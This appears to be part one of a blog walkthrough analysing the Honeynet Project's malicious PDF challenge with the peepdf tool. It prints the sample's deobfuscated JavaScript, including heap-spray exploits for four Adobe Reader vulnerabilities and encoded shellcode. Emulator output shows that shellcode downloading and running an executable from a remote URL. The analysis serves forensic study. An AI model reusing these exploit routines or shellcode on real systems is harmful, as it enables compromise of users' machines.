Analysing the Honeynet Project challenge PDF file with peepdf (I)

In past November The Honeynet Project published a new challenge, this time related to PDF files. Although it's quite old I'm going to analyse it with my tool because I think it has some interesting tricks and peepdf makes the analysis easier. The PDF file can be downloaded from here.

If we launch peepdf we obtain this error:

$ ./peepdf.py -i fcexploit.pdf

Error: parsing indirect object!!

It seems that there is an error in the parsing process. Talking about malicious PDF files it's recommended to add the -f option to ignore this type of errors and continue with the analysis:

$ ./peepdf.py -fi fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 2

Version 0:
Catalog: 27
Info: 11
Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
Errors (1): [11]
Streams (5): [5, 7, 9, 10, 11]
Encoded (4): [5, 7, 9, 10]
Objects with JS code (1): [5]
Suspicious elements:
/AcroForm: [27]
/OpenAction: [1]
/JS: [4]
/JavaScript: [4]
getAnnots (CVE-2009-1492): [5]

Now we can see some statistics and information about the document. We can see some errors too, proof that it's not a normal PDF file:

PPDF> errors

Bad object for /XObject key (1)
No entries in xref section (1)

PPDF> errors 11

Missing /Length in stream object (1)
A PDF file without cross reference table is not normal but it's OK for most of PDF readers. However, most of streams have a /Length element, so we are going to take a look at the object 11:

PPDF> object 11

<< /ModDate D:20100910021118
/CreationDate D:20100910021118
/Producer Scribus PDF Library 1.3.3.14
/Creator Scribus 1.3.3.14
/Title 10 0 R
/Trapped /False
/Keywords
/Author >>
stream
x��[Y8~��"ʼ
...

Object 11 seems to be an Info object with metadata information, but containing a stream too. Now we should see the raw bytes of the object to be sure about it:

PPDF> info 11

Offset: 22354
Size: 1951
Object: stream
Length: 1644
Encoded: No
References: ['10 0 R']
Parsing Errors: 1

PPDF> bytes 22354 300

11 0 obj
<<
/Creator (Scribus 1.3.3.14)
/Producer (Scribus PDF Library 1.3.3.14)
/Title 10 0 R
/Author <>
/Keywords <>
/CreationDate (D:20100910021118)
/ModDate (D:20100910021118)
/Trapped /False
>>
21 0 obj
<</F#69lt#65#72 /F#6c#61#74eDe#63#6f#64e/Length 1643/Type /EmbeddedFile>>
stream
x��[Y8~

So what we have here are two objects, not one! Object 11 does not have the endobj tag so peepdf thinks that it's only one object.  For this cases, malformed objects, we can use the -l option to identify all the objects without looking for the ending tags:

$ ./peepdf.py -fli fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 19
Streams: 5
Comments: 0
Errors: 2

Version 0:
Catalog: 27
Info: 11
Objects (19): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 21, 22, 23, 24, 25, 26, 27, 28]
Streams (5): [5, 7, 9, 10, 21]
Encoded (5): [5, 7, 9, 10, 21]
Objects with JS code (1): [5]
Suspicious elements:
/AcroForm: [27]
/OpenAction: [1]
/AA: [21]
/JS: [4]
/JavaScript: [4]
getAnnots (CVE-2009-1492): [5]
/EmbeddedFile: [21]
Now object 21 appears and it turns out to be an embedded file...So this is all the information we have until now. In this case we can see the suspicious getAnnots function in object 5 and we can go straight to the analysis of this object:

PPDF> stream 5

var SSS=null;var SS="ev";var $S="";$5="in";app.doc.syncAnnotScan();
S$="ti";if(app.plugIns.length!=0){var $$=0;S$+="tl";$5+="fo"
____SSS=app.doc.getAnnots({nPage:0});S$+="e";$S=this.info.title;}
var S5="";if(app.plugIns.length>3){SS+="a";
var arr=$S.split(/U_155bf62c9aU_7917ab39/);for(var $=1;$<arr.length;$++){S5+=String.fromCharCode("0x"+arr[$]);}
SS+="l";}if(app.plugIns.length>=2){app[SS](S5);}

Beautifying the Javascript code:

var SSS = null;
var SS = "ev";
var $S = "";
$5 = "in";
app.doc.syncAnnotScan();
S$ = "ti";
if (app.plugIns.length != 0) {
    var $$ = 0;
    S$ += "tl";
    $5 += "fo";
    ____SSS = app.doc.getAnnots({nPage: 0});
    S$ += "e";
    $S = this.info.title;
}
var S5 = "";
if (app.plugIns.length > 3) {
    SS += "a";
    var arr = $S.split(/U_155bf62c9aU_7917ab39/);
    for (var $ = 1; $ < arr.length; $++) {
        S5 += String.fromCharCode("0x" + arr[$]);
    }
    SS += "l";
}
if (app.plugIns.length >= 2) {
    app[SS](S5);
}

In summary, we can see a reference to the title of the Info object (this.info.title) and how its content is split  ($S.split(/U_155bf62c9aU_7917ab39/);) and converted with the fromCharCode function. At the final of the script the result is executed with an eval function (app[SS](S5)). Taking a look at the Info object (11) we see that the title can be found in object 10:

PPDF> object 11

<< /ModDate D:20100910021118
/CreationDate D:20100910021118
/Producer Scribus PDF Library 1.3.3.14
/Creator Scribus 1.3.3.14
/Title 10 0 R
/Trapped /False
/Keywords
/Author >>

PPDF> stream 10

U_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3
95fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3953U_155bf62c9aU_7917
ab3953U_155bf62c9aU_7917ab393dU_155bf62c9aU_7917ab3931U_155bf62c9aU_7
917ab393bU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9a
U_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3924U_155bf62
...

Without using external tools or commands we can replace the strings and continue with the analysis in the console:

PPDF> set output variable sh
PPDF> stream 10

U_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3
95fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3953U_155bf62c9aU_7917
ab3953U_155bf62c9aU_7917ab393dU_155bf62c9aU_7917ab3931U_155bf62c9aU_7
917ab393bU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9a
U_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3924U_155bf62
...
PPDF> reset output

PPDF> replace variable sh "U_155bf62c9aU_7917ab39" "%"

The string has been replaced correctly

PPDF> js_unescape variable sh

Unescaped bytes:

5f 5f 5f 5f 53 53 3d 31 3b 5f 5f 5f 5f 24 35 3d |____SS=1;____$5=|
5f 5f 5f 5f 53 53 53 5b 5f 5f 5f 5f 53 53 5d 2e |____SSS[____SS].|
73 75 62 6a 65 63 74 3b 5f 5f 5f 5f 24 53 3d 30 |subject;____$S=0|
3b 5f 5f 5f 5f 24 3d 5f 5f 5f 5f 24 35 2e 72 65 |;____$=____$5.re|
70 6c 61 63 65 28 2f 58 5f 31 37 38 34 34 37 34 |place(/X_1784474|
33 58 5f 31 37 30 39 38 37 37 34 33 2f 67 2c 22 |3X_170987743/g,"|
25 22 29 3b 5f 5f 5f 5f 53 35 3d 5f 5f 5f 5f 53 |%");____S5=____S|
53 53 5b 5f 5f 5f 5f 24 53 5d 2e 73 75 62 6a 65 |SS[____$S].subje|
63 74 3b 5f 5f 5f 5f 24 2b 3d 5f 5f 5f 5f 53 35 |ct;____$+=____S5|
2e 72 65 70 6c 61 63 65 28 2f 38 39 61 66 35 30 |.replace(/89af50|
64 2f 67 2c 22 25 22 29 3b 5f 5f 5f 5f 24 3d 5f |d/g,"%");____$=_|
5f 5f 5f 24 2e 72 65 70 6c 61 63 65 28 2f 5c 6e |___$.replace(/\n|
2f 2c 22 22 29 3b 5f 5f 5f 5f 24 3d 5f 5f 5f 5f |/,"");____$=____|
24 2e 72 65 70 6c 61 63 65 28 2f 5c 72 2f 2c 22 |$.replace(/\r/,"|
22 29 3b 5f 5f 5f 5f 53 24 3d 75 6e 65 73 63 61   |");____S$=unesca|
70 65 28 5f 5f 5f 5f 24 29 3b 61 70 70 2e 65 76   |pe(____$);app.ev|
61 6c 28 5f 5f 5f 5f 53 24 29 3b                  |al(____S$);|

So now we have this other piece of Javascript code:

____SS = 1;
____$5 = ____SSS[____SS].subject;
____$S = 0;
____$ = ____$5.replace(/X_17844743X_170987743/g, "%");
____S5 = ____SSS[____$S].subject;
____$ += ____S5.replace(/89af50d/g, "%");
____$ = ____$.replace(/\n/, "");
____$ = ____$.replace(/\r/, "");
____S$ = unescape(____$);
app.eval(____S$);
It's similar to the former. Here we use the ____SSS variable, which contains the annotations of the page 0 of the document (____SSS = app.doc.getAnnots({nPage: 0});), to obtain the strings to replace. First, the string X_17844743X_170987743 is replaced in the subject of the second annotation of the page, and after that is the string 89af50d which will be replaced by the character % in the subject of the first annotation of the page. The result is concatenated and unescaped to be finally executed. This time we can also use the console of peepdf to carry out the analysis:

PPDF> object 3

<< /Parent 2 0 R
/Type /Page
/MediaBox [ 0 0 612 792 ]
/Annots [ 6 0 R 8 0 R ] >>

The first annotation is the object 6 and the second one is the object 8:

PPDF> object 8

<< /Rect [ 100 180 300 210 ]
/Type /Annot
/Name /Comment
/Subj 9 0 R
/Subtype /Text >>

PPDF> object 6

<< /Rect [ 200 250 300 320 ]
/Type /Annot
/Name /Comment
/Subj 7 0 R
/Subtype /Text >>

And the subjects of these annotations are in the objects 9 and 7:

PPDF> stream 9

X_17844743X_17098774376X_17844743X_17098774361X_17844743X_17098774372
X_17844743X_17098774320X_17844743X_17098774377X_17844743X_17098774320
X_17844743X_1709877433dX_17844743X_17098774320X_17844743X_1709877436e
X_17844743X_17098774365X_17844743X_17098774377X_17844743X_17098774320
X_17844743X_17098774353X_17844743X_17098774374X_17844743X_17098774372
X_17844743X_17098774369X_17844743X_1709877436eX_17844743X_17098774367
X_17844743X_17098774328X_17844743X_17098774329X_17844743X_1709877433b
X_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098774376
...

PPDF> stream 7

89af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d
3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af5
0d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889a
f50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d388
9af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3
889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50
d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af
50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889
...

After replacing the strings and unescaping the result in the same way as before we obtain the following code:

var w = new String();
var c = app;

function s(yarsp, len) {
while (yarsp.length * 2 < len) {
yarsp += yarsp;
this.x = false;
}
var eI = 37715;
yarsp = yarsp.substring(0, len / 2);
return yarsp;
var yE = 18340;
}
var m = new String("");

function cG() {
    var chunk_size, payload, nopsled;

    chunk_size = 0x8000;
    // calc.exe payload
    payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u
5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u32
82%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c
%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u
772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b...");
    nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
    while (nopsled.length < chunk_size)
    nopsled += nopsled;
    nopsled_len = chunk_size - (payload.length + 20);
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (var i = 0; i < 2500; i++)
    heap_chunks[i] = nopsled + payload;


    util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
    try {
        media.newPlayer(null);
    } catch (e) {}
    util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
var iF = function () {};

function cN() {
    var o = "o";
    // freecell.exe payload
    var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u38
30%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d
%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u
520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91
ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9be
");
    this.dN = "";
    var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
    var hW = new String();
    var heapblock = nop + payload;
    this.qA = "qA";
    var bigblock = unescape("%u0A0A%u0A0A");
    this.alphaY = 12267;
    var headersize = 20;
    var spray = headersize + heapblock.length;
    var jZ = '';
    var jY = "";
    while (bigblock.length < spray) {
        this.r = "r";
        bigblock += bigblock;
        var edit = "edit";
    }
    this.xGoogle = '';
    this.vY = false;
    var fillblock = bigblock.substring(0, spray);
    var iP = function () {};
    var block = bigblock.substring(0, bigblock.length - spray);
    var googleD = false;
    this.fUEdit = "";
    while (block.length + spray < 0x40000) {
        block = block + block + fillblock;
        this.bJ = '';
    }
    var googleQ = '';
    this.nW = '';
    var mem_array = new Array();
    var cH = new String();
    var nVO = new String("");
    for (var i = 0; i < 1400; i++) {
        mem_array[i] = block + heapblock;
        var sQ = new String("");
    }
    var wC = '';
    var num = 129999999999999999998888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888888888888888;
this.bC = 3699;
util.printf("%45000f", num);
}
var eQ = "";

function gX() {
var basicZ = '';
// notepad.exe payload
var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9
cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af
%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u
2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5
b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031...");
var mem_array = new Array();
this.googleBasicR = "";
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len + 0x38);
var yarsp = unescape("%u9090%u9090");
this.eS = "eS";
yarsp = s(yarsp, len);
var count2 = (cc - 0x400000) / addr;
this.rF = false;
this.p = "p";
for (var count = 0; count < count2; count++) {
mem_array[count] = yarsp + shellcode;
}
var bUpdate = new String("");
var overflow = unescape("%u0c0c%u0c0c");
var cP = function() {};
this.gD = "";
while (overflow.length < 44952) {
this.tO = "";
overflow += overflow;
}
var adobeD = new String();
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: overflow
});
}
function updateE() {
var xI = new String("");
if (c.doc.Collab.getIcon) {
var arry = new Array();
// cmd.exe payload
var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u03
12%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8
%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%u
dd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u47
92%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29
%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u
9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u91
29%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee
%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u
07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b
98%u47f2%u2af0%ub1cc...");
var updateX = 39796;
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var zAdobe = "";
var yarsp = unescape("%u9090%u9090");
var dU = "";
yarsp = s(yarsp, len);
this.zAdobeK = "";
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
var aG = new Date();
for (var vqcQD96y = 0;vqcQD96y<p5AjK65f;vqcQD96y++){
var lBasic = "";
arry[vqcQD96y] = yarsp + vvpethya;
var u = "";
}
var iAlpha = function() {};
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000) {
this.gN = false;
tUMhNbGw += tUMhNbGw;
}
var hV = new String("");
var nVE = function() {};
tUMhNbGw = "N." + tUMhNbGw;
c.doc.Collab.getIcon(tUMhNbGw);
}
this.wZ = 44811;
}
var hO = new String("");
function nO() {
this.iR = false;
var version = c.viewerVersion.toString();
var zH = '';
version = version.replace(/D/g, '');
var varsion_array= new Array(version.charAt(0),version.charAt(1),
version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) ||
(varsion_array[1] == 1 &&varsion_array[2] < 3)) {
cN();
}
this.wN = "";
var aQ = new String("");
if ((varsion_array[0] < 8) || (varsion_array[0] == 8
&& varsion_array[1] < 2 &&
varsion_array[2] <2)) {
gX();
}
var vEdit = "";
if ((varsion_array[0] < 9) || (varsion_array[0] == 9
&& varsion_array[1] < 1)) {
updateE();
}
var eH = function() {};
var eSJ = new Function();
cG();
var vUpdate = false;
}

var basicU = new Date();
this.updateO = false;
nO();
var mUpdate = function() {};

Now it looks better ;) We have four different functions with four different vulnerabilities (media.newPlayer, util.printf, Collab.collectEmailInfo, Collab.getIcon), and four different shellcodes. If we take one of the shellcodes we can also analyse it with peepdf thanks to the sctest wrapper:

PPDF> set sh "%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231
%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u
7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6a
d8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82
%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u
7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8
fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47
%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%u
ccee..."

PPDF> set output variable raw_sh
PPDF> js_unescape variable sh

Unescaped bytes:

b8 d3 58 74 01 d9 cb 2b c9 d9 74 24 f4 b1 65 5a |..Xt...+..t$..eZ|
31 42 12 03 42 12 83 39 a4 96 f4 56 45 0d bd 9b |1B..B..9...VE...|
af d7 f8 e7 2e 98 cf 1d a8 7a d5 ca cf 92 c1 f3 |.........z......|
2f 9d 66 47 49 fb 1e 94 94 c4 89 83 fe ac d8 6a |/.fGI..........j|
95 dd 35 09 a2 f3 1c 80 d9 b2 8c 48 78 26 5c 0b |..5........Hx&\.|
62 dd f4 01 82 5b 92 47 5e 4b 2e 2d 2a bc ff f9 |b....[.G^K.-*...|
c1 e4 9a 9b f7 83 69 cc 38 39 b1 1f 29 7e 0b c5 |......i.89..)~..|
14 e2 48 82 d8 dc b7 b3 0b 89 25 e4 91 ab 10 52 |..H.......%....R|
92 51 fc c8 32 99 ef 9d a1 ba 95 07 9f 1c ee ac |.Q..2...........|
ba c5 1c 4b 20 af 32 08 47 3e 29 91 f0 ac 04 de |...K .2.G>).....|
62 10 e7 e9 04 08 91 f3 69 bf 69 cc f0 71 08 11 |b.......i.i..q..|
ee cc 20 0d cf be 62 b4 49 d9 71 99 e3 15 5a 3c |.. ...b.I.q...Z<|
53 b0 89 5d 82 6c 48 66 ae 07 d2 7a 8a 14 9d b0 |S..].lHf...z....|
72 15 ab 1a e6 33 91 5a af b8 44 47 4a dd 98 8b |r....3.Z..DGJ...|
f2 47 f0 2a cc b1 cf 03 07 27 1e fe 8a ed 57 ca |.G.*.....'....W.|
cd 23 0e 03 77 72 bc 39 21 bf 23 64 3e df 93 5d |.#..wr.9!.#d>..]|
71 ea 42 2a 4d 2b b8 d7 26 06 e4 7d b8 e9 71 e7 |q.B*M+..&..}..q.|
5c c8 82 0a 69 1f 8c 2e b2 1d 8c 25 bf 34 85 20 |\...i......%.4. |
9e 35 b7 98 ff 2c a5 e0 f4 6c c6 f3 09 74 ca f5 |.5...,...l...t..|
19 69 cd 60 13 9a 19 4e 4d a7 1c f7 52 b9 11 ea |.i.`...NM...R...|
a6 cb 39 08 c0 d1 27 25 c7 d2 a5 10 d8 d8 bd 62 |..9...'%.......b|
f2 ff 9a 0b e9 eb ee df 04 1c 89 d3 22 36 77 1d |............"6w.|
5a 4e 7d 17 5b 4c b3 21 43 5f b9 31 a4 39 2a bd |ZN}.[L.!C_.1.9*.|
21 4a 91 12 e5 c8 89 03 9e 22 3a b4 0e 5e c3 24 |!J.......":..^.$|
aa d4 1d d7 46 72 4c 4a de 53 f6 fb 52 c9 98 70 |....FrLJ.S..R..p|
fa 72 3a 15 94 15 a8 b5 01 b8 57 20 e5 29 f9 c6 |.r:.......W .)..|
8e d0 8b 73 5f 27 42 1e e7 22 1a 41 |...s_'B..".A|

PPDF> set sctest /opt/libemu/bin/sctest
PPDF> sctest variable raw_sh

verbose = 0
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(32)
stepcount 7777
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417120 =>
           = "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x00417134 =>
           = "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x0041713c =>
           = "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7c800000 =>
         none;
     LPCSTR lpProcName = 0x00417147 =>
           = "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00417154 =>
           = "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7df20000 =>
         none;
     LPCSTR lpProcName = 0x0041715b =>
           = "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
     LPTSTR lpBuffer = 0x0012fe7c =>
         none;
     UINT uSize = 32;
) =  19;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x0041716e =>
           = "http://blog.honeynet.org.my/forensic_challenge/malware.4.exe";
     LPCTSTR szFileName = 0x0012fe7c =>
           = "c:\WINDOWS\system32\a.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe7c =>
           = "c:\WINDOWS\system32\a.exe";
     UINT uCmdShow = 0;
) =  32;
void ExitThread (
     DWORD dwExitCode = 32;
) =  0;

All the shellcodes seem to download a binary from honeynet.org.my and it's executed. But, before the conclusions, we should execute the commands tree and offsets to have in mind the physical and logical structure of the file:

PPDF> offsets

1 Header
736
Object 1 (90)
825
827
Object 2 (58)
884
886
Object 3 (96)
981
983
Object 4 (59)
1041
1043
Object 5 (523)
1565
1567
Object 6 (101)
1667
1669
Object 7 (8843)
10511
10513
Object 8 (100)
10612
10614
Object 9 (10654)
21267
21269
Object 10 (1084)
22352
22354
Object 11 (198)
22551
22553
Object 21 (1753)
24305
24307
Object 22 (66)
24372
24374
Object 23 (65)
24438
24440
Object 24 (229)
24668
24670
Object 25 (157)
24826
24828
Object 26 (56)
24883
24885
Object 27 (129)
25013
25015
Object 28 (83)
25097
25098
Xref Section (4)
25101
25103
Trailer (60)
25162
25163 EOF


PPDF> tree

/Catalog (27)
dictionary (28)
dictionary (22)
dictionary (23)
dictionary (22)
/Annot (24)
dictionary (23)
/Page (25)
/Pages (26)
/Page (25)
stream (21)
/Pages (26)
/Catalog (1)
/Pages (2)
/Page (3)
/Pages (2)
/Annot (6)
stream (7)
/Annot (8)
stream (9)
/Action /JavaScript (4)
stream (5)
stream (10)
/Info (11)
stream (10)

Ouch! What's going on? We have two Catalog objects here but only one will be executed and only the half of the objects will be used in the execution...which ones? The Catalog to be used must be present in the /Root element of the trailer of a PDF document:

PPDF> rawobject trailer

trailer
<< /Size 9
/Root 27 0 R
/Info 11 0 R >>
startxref
14765
%%EOF

So the object 27 is the real Catalog and only the objects in the downward path from it will be used:

/Catalog (27)
dictionary (28)
dictionary (22)
dictionary (23)
dictionary (22)
/Annot (24)
dictionary (23)
/Page (25)
/Pages (26)
/Page (25)
stream (21)
/Pages (26)

Damn!! That means that our Javascript object (5) won't be executed and our analysis is useless!! I think it's enough for a unique post, so the second part of the analysis can be found in the next post ;)

 

Analysing the Honeynet Project challenge PDF file with peepdf (II)